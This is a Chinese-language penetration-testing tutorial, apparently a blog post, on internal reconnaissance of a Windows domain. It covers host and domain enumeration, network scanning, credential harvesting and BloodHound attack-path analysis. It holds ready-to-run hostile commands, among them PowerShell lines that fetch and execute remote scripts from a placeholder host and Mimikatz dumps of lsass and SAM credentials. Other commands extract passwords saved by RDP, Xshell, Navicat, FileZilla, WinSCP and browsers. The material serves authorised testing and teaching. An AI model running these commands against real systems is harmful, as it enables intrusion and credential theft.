域渗透(二)-内网信息收集
1.本机基础信息收集
1.系统信息搜集
1.查看操作系统信息
systeminfo |
2.查看当前的进程
tasklist |
WMIC是Windows管理规范的命令行工具
通过wmic查询主机进程信息,过滤出进程的路径、名称和PID
wmic process get Name, ProcessId, ExecutablePath |
查看指定进程的路径信息
wmic process where Name="msdtc.exe" get ExecutablePath |
3.查看当前的服务信息
查看所有服务信息并过滤出服务的名称、路径、创建时间、运行状态信息
wmic service get Caption,Name,PathName,StartName,State |
查看指定服务
wmic service where Name="vds" get Caption,Name,PathName,StartName,State |
4.查看计划任务信息
schtasks /query /v /fo list |
5.查看程序自启动程序信息
查看自启动程序信息,过滤出 名称、执行命令、执行路径、所属用户
wmic startup get Caption,Command,Location,User |
6..查看补丁安装信息
查看当前主机上安装的补丁列表,并过滤出补丁连接、名称、描述、补丁编号以及安装时间,可以推测目标主机系统版本和缺少的补丁辅助后面的提权。
wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn |
7.查看应用安装信息
查看主机安装的应用软件信息,并过滤出应用的名称和版本
Wmic product get Caption,Version |
2.用户信息搜集
- 查看用户及所处组、所拥有特权
测试人员可以根据当前所有的信息对当前用户权限进行一个判断,推测是否需要进一步提权whoami /all
2.查看本地用户/组信息
查看用户信息
net user |
产看本地管理员组
net localgroup administrators |
该主机加入域时,域全局组”HACK-MY\Domain Admins”自动添加到计算机本地Administratos组中。
主机本地创建一个新用户并加入管理员组
net user <username> <password> /add |
3.查看当前登录用户
query user |
3.网络信息搜集
1.查看网络配置信息,包括IP,主机名等
ipconfig /all |
有多网段尝试后期横向移动
DNS服务器的IP一般为DC的IP
2.查看主机路由信息(路由表)
route print |
网络目标都是主机可以访问到的,可以用来看IP段,测试人可在后续的横向渗透中尝试探测其中的存活主机
3.查看端口连接信息
netstat -ano |
4.查看当前会话列表
net session |
查看当前主机与客户端主机的会话
5.查看当前主机网络共享信息
net share |
6.查看已连接的网络共享
net use |
2.域内信息搜集
1.判断是否存在域环境
net config workstation |
查看工作站信息,包括计算机名、用户名、系统版本名、工作站、登录域信息。
2.查看域内用户信息
查看所有域用户
net user /domain |
查看指定域用户的信息
net user <username> /domain |
获取所有用户的SID、所属域和用户描述信息
wmic useraccount get Caption,Domain,Description |
只有域用户具有权限执行域内查询操作。非域用户除非是本机系统权限,否则只能查询本机信息。所有与域相关的查询都需要通过域控制器来实现,并且需要经过Kerberos协议进行认证。
3.查看域用户组信息
列出所有的域内用户组
net group /domain |
查询域管理员组。得到所有的域管理员用户
net group "Domain Admins" /domain |
查询域成员组,得到域内所有的客户端主机
net group "Domain Computers" /domain |
4.查看域内密码策略
net accounts /domain |
5.查看域控制器列表
net group "Domain Controllers" /domain |
可以得到所有的域控制器的主机名
也可以通过nltest命令查询指定域控制器主机列表
nltest /DCLIST:hack-my.com |
6.查看主域控制器
主控制器会被用作时间服务器,所有域中计算机的时钟同步
net time /domain |
7.定位域控制器
知道目标主机名可以对主机使用ping命令,根据返回内容得知目标主机在内网中的IP
ping DC.hack-my.com |
8.查看域信任关系
nltest /domain_trusts |
域信任用于多域环境中的跨域资源共享,可以查看当前主机所在域和其他域间的信任关系
3.内网资源探测
1.发现内网存活主机
1.基于icmp发现存活主机
对整个网段进行ping命令
循环探测整个局域网C段中存活的主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL=" |
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" |
2.基于netbios协议发现存活主机
netbios工作流程是将机器名解析,查询,应答。Windows中,默认安装TCP/IP后会自动安装netbios.
向局域网中每个ip发送netbios查询,可以获得主机名、mac地址等信息
nbtscan是一款用于扫描Windows网络上的netbios名称的程序,用于发现内网中存活的Windows主机
nbtscan.exe 10.10.10.0/24 |
kali自带nbtscan
windows: https://github.com/lifenjoiner/nbtscan/releases/tag/nbtscan-v1.5.2-2394b4
3.基于UDP发现存活主机
将空的UDP报文发送给目标主机特定端口,如果端口关闭,UDP探测就能马上得到ICMP端口无法到达的回应报文。
如果开放端口,大部分服务仅忽略这个空报文而不做任何回应
Unicornscan是kali的信息搜集工具,提供了网络扫描功能
unicornscan -mU 10.10.10.0/24 |
4.基于ARP在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。
a.ARP-scan
ARP-scan利用ARP发现内网中存活的主机
arp-scan.exe -t 10.10.10.0/24 |
linux/macos:https://github.com/royhills/arp-scan
windows:https://github.com/QbsuranAlang/arp-scan-windows-
b.PowerShell的利用
Empire渗透框架的Invoke-ARPScan.psl脚本可利用ARP发现内网存活主机(项目见Github上的相关网页)。使用时,需要将脚本导入执行
项目地址:
Import-Module .\Invoke-ARPScan.ps1 |
也要将脚本代码托管在服务器上,通过PowerShell远程加载执行
powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-ARPScan.ps1') |
注:
如果出现Powershell报错:因为在此系统上进制运行脚本。需要进行执行策略更改。
5.基于SMB协议发现存活主机
SMB主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信资源。CIFS消息一般使用NetBOIS或TCP发送,分别使用139或445端口,目前倾向于445端口。
实际利用中可以探测局域网中存在的SMB服务从而发现内网存活主机,多适用于Windows主机的发现。
CrackMapExec 是一款十分强大的后渗透利用工具
能够枚举登录用户,枚举SMB服务列表,执行WINRM攻击等功能。
kali上直接apt-get命令安装
crackmapexec smb 10.10.10.0/24 |
2.内网端口扫描
a.利用Telnet探测端口
Telnet可以简单测试指定端口是开启还是关闭
telnet <IP> <Port> |
b.Nmap
扫描指定端口
nmap -p 80,88,135,139,443,8080,3306,3389 10.10.10.11 |
全端口扫描
nmap -sS -p 1-65535 10.10.10.11 |
扫描并获取指定端口上开放的服务版本
nmap -sC -sV -p 80,88,135,139,443,8080,3306,3389 10.10.10.11 |
c. 利用PowerShell进行端口扫描
Nishang是基于PowerShell的渗透测试专用框架,集成了各种脚本和Payload,广泛应用域渗透测试各阶段。
NiShang的Scan模块中也有一个Invoke-PortScan.ps1脚本,可以用来对主机进行端口扫描
对内网的一个主机范围执行默认的端口扫描
脚本地址:https://github.com/chicagoadmin/nishang/blob/c3fdf5e5dfa8612d0a17636dbb096b04e987ab31/Scan/Invoke-PortScan.ps1#L4
Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort |
对内网中的一个主机范围扫描指定的端口
powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-portscan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort -Port 80,88,135,139,443,8080,3306,3389" |
3.Metasploit探测内网
具体利用方法自行查阅相关文档
例: 基于ARP探测存活主机
4.获取端口Banner信息
端口Banner-端口连接的欢迎语
1.Nc获取banner
nc -nv 10.10.10.15 21 |
2.Telnet获取banner
telnet 10.10.10.15 21 |
3.利用Nmap获取banner
nmap --script=banner 10.10.10.15 |
4.用户凭据收集
1.获取域内单机密码和哈希值
Windows中,SAM文件是Windows用户的账户数据库,位于系统的%SystemRoot%\System32\Config,存储了本地用户名,密码的哈希值。
用户登陆时,输入的明文密码被转换为哈希值,然后与SAM文件中的哈希值进行对比。
lsass.exe是Windows的一个系统进程,用于实现系统的安全机制。用户输入密码登录后,登陆的域名,用户名和登录凭证等信息会被存储在lsass.exe进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后会对其使用可逆的算法进行加密并存储在内存中。
获取密码hash的工具很多,大多是
- 读取SAM文件
- 访问lsass.exe进程的内存数据等操作实现
一般需要先提权
Mimikatz
Mimakatz是一款功能强大的凭证转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等,广泛用于内网渗透测试领域。
项目地址:https://github.com/gentilkiwi/mimikatz
1.在线读取lsass进程内存
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
可直接从lsass.exe进程的内存中读取当前已登录用户的凭据
2.离线读取lsass内存文件
可以将lsass.exe进程的内存转储,将内存文件导出到本地后使用Mimikatz进行离线读取
微软提供Procdump工具进行内存转储
下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp |
导出用户凭据
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit |
3.在线读取本地SAM文件
将mimikatz.exe上传到目标主机并执行
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit |
读取SAM文件中保存的用户凭证,导出当前系统中所有本地用户的哈希值
4.离线读取本地SAM文件
离线读取就是将SAM文件导出,使用mimikatz加载并读取其中的用户登录凭据等信息。
Windows为了提高SAM文件的安全性防止离线破解,会对SAM文件使用密钥加密,这个密钥存储在SYSTEM文件中,域SAM位于相同目录下。
首先,在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个
文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1脚本可以完成这项工作。
脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Windows\Temp\SAM |
会在Temp目录下生成SAM和SYSTEM两个文件
也可以在管理员权限下执行以下命令,通过保存注册表的方式导出
reg save HKLM\SAM sam.hive |
会在当前目录下生成sam.hive 和system.hive
将导出的SAM和SYSTEM文件复制到本地,使用mimikatz加载读取
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit |
2.获取常见应用软件凭据
1.获取RDP保存的凭据
RDP凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中
路径为 %USERPROFILE%\AppData\Local\Microsoft\Credentials
环境设置
被登陆机开启远程登陆,关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接
破解机连接受控机
成功连接到远程桌面
查看主机上保存的连接凭据
#查看当前保存的凭据 |
#遍历Credentials目录下保存的凭据 |
使用mimikatz导出指定的RDP连接凭据
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\ [凭据名]" exit |
获得guidMasterKey,phData
phData是凭据的加密数据
guidMasterKey是凭据的GUID
记录下guidMasterKey执行
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit |
找到GUID关联的MasterKey,MasterKey是加密凭据所使用的密钥。
记录masterkey
最后执行
mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\[凭据名] /masterkey:[抓到的masterkey]" exit |
成功破解获得RDP铭文凭据
CredentialBlob即是Administrator密码
2.获取Xshell保存的凭据
Xshell会将服务器连接信息保存在Session目录下的.xsh文件中
如果用户在连接时勾选了记住用户名/密码,该文件会保存远程服务器连接的用户名和及你给过加密后的密码
XSHELL版本对应.xsh文件路径 |
Xshell全版本凭证一键恢复工具SharpXDecrypt
项目地址:https://github.com/JDArmy/SharpXDecrypt
直接运行即可
C:\Users\asus\Desktop\DEV\SharpXDecrypt\bin\Debug> .\SharpXDecrypt.exe |
Xshell 7 以前的版本,测试人员可以通过 SharpDecryptPwd工具进行解密,包括Navicat、TeamViewer、FileZilla、WinSCP和Xmangeger系列产品。
项目地址:https://github.com/uknowsec/SharpDecryptPwd
将SharpDecryptPwd上传到目标主机,执行以下命令,可以直接获取Xshell保存的所有连接凭据
SharpDecryptPwd.exe -Xmangager -p "[对应版本Xshell.xsh文件地址]" |
Xshell 7 后的版本, Session目录中不再存储用户密码,用上述方法获取的密码为一串乱码,使用星号密码查看器直接查看密码。
工具下载链接:https://www.lanzoui.com/i2tcmej
打开xshell7,选择用户登录界面,把密码查看器的放大镜对焦到星型密码框,即可看到用户密码
3.获取NaviCat保存的凭据
用户默认选择保存密码,Navicat将登录信息保存到注册表中,且经过可逆算法加密,且Navicat<=11版本和Navicat>=12
使用SharpDecryptPwd可以一键导出当前著加上用户连接过的所有数据库的登录凭据
SharpDecryptPwd.exe -NavicatCrypto |
Navicat连接数据库,保存凭证
成功连接后运行SharpDecryptPwd.exe
成功获取用户账号密码
4.获取浏览器保存的登录凭据
HackBrowserData是一款开源工具,可以直接从浏览器解密数据包包括用户登录密码、书签、cookie、历史记录、信用卡、下载链接、历史记录等csv文件
将HackBrowserData上传到目标主机直接运行即可。
项目地址:https://github.com/moonD4rk/HackBrowserData
直接运行
C:Users\>hack-browser-data-windows-64bit.exe |
查看导出的csv
成功导出用户密码
5.获取FileZilla保存的凭据
FileZilla是一款快速的、可依赖的、开源的FTP客户端软件,具备大多数FTP软件功能.FileZilla会将所有FTP登录凭据以Base64密文格式保存在%USERPROFILE%\AppDate\Roaming\FileZilla\recentservers.xml文件中。<User>节点记录了FTP登录用户,<Pass>节点记录了Base64加密后的用户密码,将加密的FTP密码解密即可。
使用SharpDecryptPwd 一键导出FileZilla保存的FTP登录凭据。
SharpDecryptPwd.exe -FileZilla |
6.获取WinSCP保留的登录凭据
WinSCP是Windows环境下使用SSH的开源图形化SFTP工具客户端.在使用SFTP连接时,如果勾选了”保存密码”,WinSCp就会将密码保存在WinSCP.ini文件下。Winscppwd工具则可以进行解密.
工具下载地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml
Winscppwd.exe WinSCP.ini reading WinSCP.ini |
5.使用BloodHound自动化分析域环境
项目地址:https://github.com/BloodHoundAD/BloodHound
BloodHound是一款强大的域内环境分析工具,可以揭示并分析域环境中各对象之间
的关系,将域内相关用户、用户组、计算机等对象之间的关系以可视化方式呈现。通过BloodHound,测试人员可以更直观、更便捷地分析域内环境的整体情况,并快速识别出
复杂的攻击路径。
BloodHound基于Neo4j数据库(一种NoSQL图数据库,可将结构化数据存储在网络上)。在使用时,测试人员需提前将域环境中采集到的数据导入BloodHound的Neo4j数据库,然后通过BloodHound对这些数据进行分析,以可视化方式呈现。
1.BloodHound环境部署
参考文章:https://blog.csdn.net/qq_56426046/article/details/126854991
1.安装Neo4j数据库
apt-get install neo4j |
安装好后运行图形化数据库Neo4j
neo4j start |
访问http://localhost:7474
默认账号密码都是:neo4j
首次登录会提示修改密码,修改完成后跳转至如下页面,表示Neo4j安装成功
去官网下载BloodHound-linux-x64
https://github.com/BloodHoundAD/BloodHound/releases/tag/v4.3.1
解压
unzip BloodHound-linux-x64 |
启动
cd BloodHound-linux-x64 |
登录
Username:neo4j |
启动成功页面:
2.BloodHound使用
BloodHound需要来自Active Directory(AD)环境的三条信息才能运行:
- 哪些用户登录了哪些机器
- 哪些用户拥有管理员权限
- 哪些用户和组属于哪些组
在大多数情况下,收集此信息不需要管理员权限,也不需要在远程系统上执行代码。
1.采集并导出数据
使用官方数据采集器SharpHound,有可执行文件和Powershell两个版本。
项目地址:https://github.com/BloodHoundAD/SharpHound
SharpHound 会自动采集域内的用户、用户组、计算机、组策略、域信任关系等信息,将采集到的所有信息在当前目录下打包成一个以时间戳标识的ZIP文件。SharpHound.exe对.netframwork版本有需求,需安装对应版本。
SharpHound与BloodHound也需要版本匹配!
运行
SharpHound.exe -c All |
文件夹下生成zip文件
2.导入数据
将采集到的.zip文件保存至本地,单击右侧的Upload Data按钮自动将生成的ZIP数据包导入
导入后BloodHound进行自动化数据分析。分析结束后,左侧的Database Info 模块处就有数据了
可以在Analysis进行不同的分析查询,例如Shortest Paths to Domain Admins
3.节点信息
BloodHound通过图形和连线来呈现数据,每个图形被称为一个节点,用来表示域内不同的对象。域内不同的对象,如用户、用户组、计算机、域、组策略、组织单位等,都用专属的图形来表示。
点击任一节点,左侧的Node Info会显示关于该节点的信息,包括节点概述、节点属性、所属组、所拥有的权限。不同的对象包含不同类型的节点信息。
4.边缘信息
边缘时连接两个相互作用的节点之间的连线,可以反应两个相互作用的节点之间的联系
如图所示:右侧红线所指的两个组为DOMAIN ADMINS和ENTERPRISE ADMINS
用户ADMINISTRATOR是这两组的成员。
常见边缘类型:
更多细节可查询官方文档。
5.数据分析
BloodHound在Analysis模块中预设了很多查询功能,常用的查询功能及说明见下表
1.查找所有的域管理员
Analysis模块中的”Find all Domain Admins”,查找所有域管理员。
当前环境有1个域管理员用户,是Domain Admins组的成员
2.识别达到域管理员的最短路径
Analysis模块中的”Find Shortest Paths to Domain Admins”,识别出到达域管理员的最短路径
可以根据不同节点间的不同边缘判定攻击方式,从而实现盗取凭据等功能。
3.查找所有拥有DCSync权限的主体
Analysis模块中的”Find Principals with DCSync Rights”
拥有DCSync权限的主体可以通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求,并从域控制器请求数据。通过DCSync,测试人员可以导出所有域用户的哈希值,实现隐蔽的权限维持,将在后面讲解。
4.映射域信任关系
Analysis模块中的”Map Domain Trusts”,显示当前域信任关系。域信任解决了多域环境中的跨域资源共享问题,允许受信任域的用户访问信任域中的资源。域是一个具有安全边界的计算机集合,两个域之间必须具有域信任关系,才能相互访问到对方域的资源。测试人员通过尝试收集有关域信任关系的信息,可以为Windows多域/域林环境中的横向移动寻找机会。
5.识别到达无约束委派系统的最短路径
“Analysis”模块中的“Shortest Paths to Unconstrained Delegation Systems”,识别出到达无约束委派系统的最短路径。
域委派是指将域内用户的权限委派给服务账户,使得服务账户能够以该用户的身份在域内开展其他活动,如访问域内的其他服务。委派为域内的多跳认证带来很大的便利,也带来很大的安全隐患。通过滥用委派,管理人员可以获取域管理员权限,接管整个域环境,也可以用来制作后门,实现隐蔽的权限维持。
6.列出所有Kerberoastable用户
Analysis模块中的”List all Kerberoastable Accounts”,列出所有Kerberoastable用户。
7.识别达到Kerberoastable用户的最短路径
Analysis模块中的”Shortest Paths from Kerberoastable Users”,识别出到达Kerberoastable用户的最短路径
8.识别到达高价值目标的最短路径
Analysis模块中的”Shortest Paths to High Value Targets” , 识别出到达高价值目标的最短路径。
9.查找所有非域控制器的域管理登录
Analysis模块中的”Find Domain Admin Logons to non-Domain Controllers”,可以找出域管理员在所有非域控的主机的登录痕迹,为准确获取域管理员提供了方向。
域管理员曾在WIN7.HACK-MY.COM主机上登陆过,测试人员可以通过入侵这两台主机,可以找到域管理员活动的进程,通过迁移进程或令牌窃取等手段,便可获取域管理权限。